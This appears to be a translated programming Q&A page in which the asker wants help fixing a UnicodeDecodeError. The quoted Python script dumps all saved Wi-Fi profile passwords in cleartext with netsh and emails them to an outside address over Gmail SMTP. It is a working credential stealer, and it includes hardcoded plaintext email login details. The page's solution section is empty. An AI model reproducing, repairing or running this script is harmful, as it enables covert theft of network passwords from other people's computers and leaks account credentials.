python - subproces.check_output().decode() 给出 UnicodeDecodeError: 'utf-8' codec can't decode byte 0x83 in position 604: invalid start byte
问题描述
我正在尝试使用子流程模型检索一些日期,但不断收到上述错误。查找后我发现那个位置的字符是'a'。我尝试了其他解码方法,如charmap和latin-1,它没有给我错误,但输出str是'L\x83ayoune'它返回char的位置而不是它自己的char。给出错误的行: data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8')
import subprocess
import smtplib
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
print(data)
wifis = [line.split(':')[1][1:-1] for line in data if "All User Profile" in line]
msg = ''
print(wifis)
for wifi in wifis:
resultes = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles', wifi, 'key=clear'],
stderr=subprocess.STDOUT).decode('utf-8').split('\n')
resultes = [line.split(':')[1][1:-1] for line in resultes if 'Key Content' in line]
try:
print(f"Name : {wifi}, Password : {resultes[0]}")
msg += f"Name : {wifi}, Password : {resultes[0]}"
except IndexError:
print(f"Name : {wifi} Password : Not Accessible")
msg += f"Name : {wifi} Password : Not Accessible\n"
with smtplib.SMTP('smtp.gmail.com', 587) as smtp:
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
smtp.login('adamdemofighter@gmail.com', 'hamzaelbahlaoui')
smtp.sendmail('adamdemofighter@gmail.com', 'hamza.el.bahlaoui@outlook.com', msg)
解决方案
推荐阅读
- conditional-statements - 条件/查询的 Trie/决策树
- c++ - 如何避免为模板化迭代器的每个可能实例化专门化 iterator_traits?
- material-ui - 材质 UI 选项卡没有选择的选项卡
- drools - 无法使用在 kie-wb-7.5.0 上具有开发人员角色的用户覆盖以前构建的项目。(drools)
- c# - 如何在应用程序仍在运行时阻止控制台返回附加到控制台的 WPF 应用程序
- java - JavaFX TextField 覆盖键 UP/DOWN 行为
- c++ - 具有随机密钥生成的双重 AES 加密
- flutter - Flutter Overlay 和 TextFields
- asp.net-mvc - 删除具有外键关系的实体而不删除引用对象
- java - 尝试为对象分配随机 ID